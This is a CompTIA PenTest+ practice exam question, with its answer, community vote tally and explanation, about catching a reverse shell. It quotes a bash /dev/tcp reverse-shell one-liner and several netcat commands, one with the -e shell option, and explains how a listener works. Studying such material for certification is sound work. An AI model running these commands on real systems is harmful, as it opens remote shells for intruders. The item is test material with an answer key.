nerdexam
CompTIA

PT0-002 · Question #111

A tester intends to run the following command on a target system: bash -i >& /dev/tcp/10.2.4.6/443 0>&1 Which of the following additional commands would need to be executed on the tester's Linux syste

The correct answer is A. nc -nvlp 443. The tester will want to create a Netcat listener that waits for the inbound shell from the target machine. To get a shell, Netcat uses nc -nvlp 443 to listen for incoming connections Using this syntax, the tester is telling Netcat (nc) to not resolve names (-n), to be verbose pri

Attacks and Exploits

Question

A tester intends to run the following command on a target system:

bash -i >& /dev/tcp/10.2.4.6/443 0>&1 Which of the following additional commands would need to be executed on the tester's Linux system to make the preious command success?

Options

  • Anc -nvlp 443
  • Bnc 10.2.4.6 443
  • Cnc -w3 10.2.4.6 443
  • Dnc -e /bin/ah 10.2.4.6 443

How the community answered

(25 responses)
  • A
    76% (19)
  • B
    8% (2)
  • C
    4% (1)
  • D
    12% (3)

Explanation

The tester will want to create a Netcat listener that waits for the inbound shell from the target machine. To get a shell, Netcat uses nc -nvlp 443 to listen for incoming connections Using this syntax, the tester is telling Netcat (nc) to not resolve names (-n), to be verbose printing out when a connection occurs (-v), and to listen (-l) on a given local port (-p).

Topics

#Reverse Shell#Netcat#Linux Commands#Command and Control

Community Discussion

No community discussion yet for this question.

Full PT0-002 Practice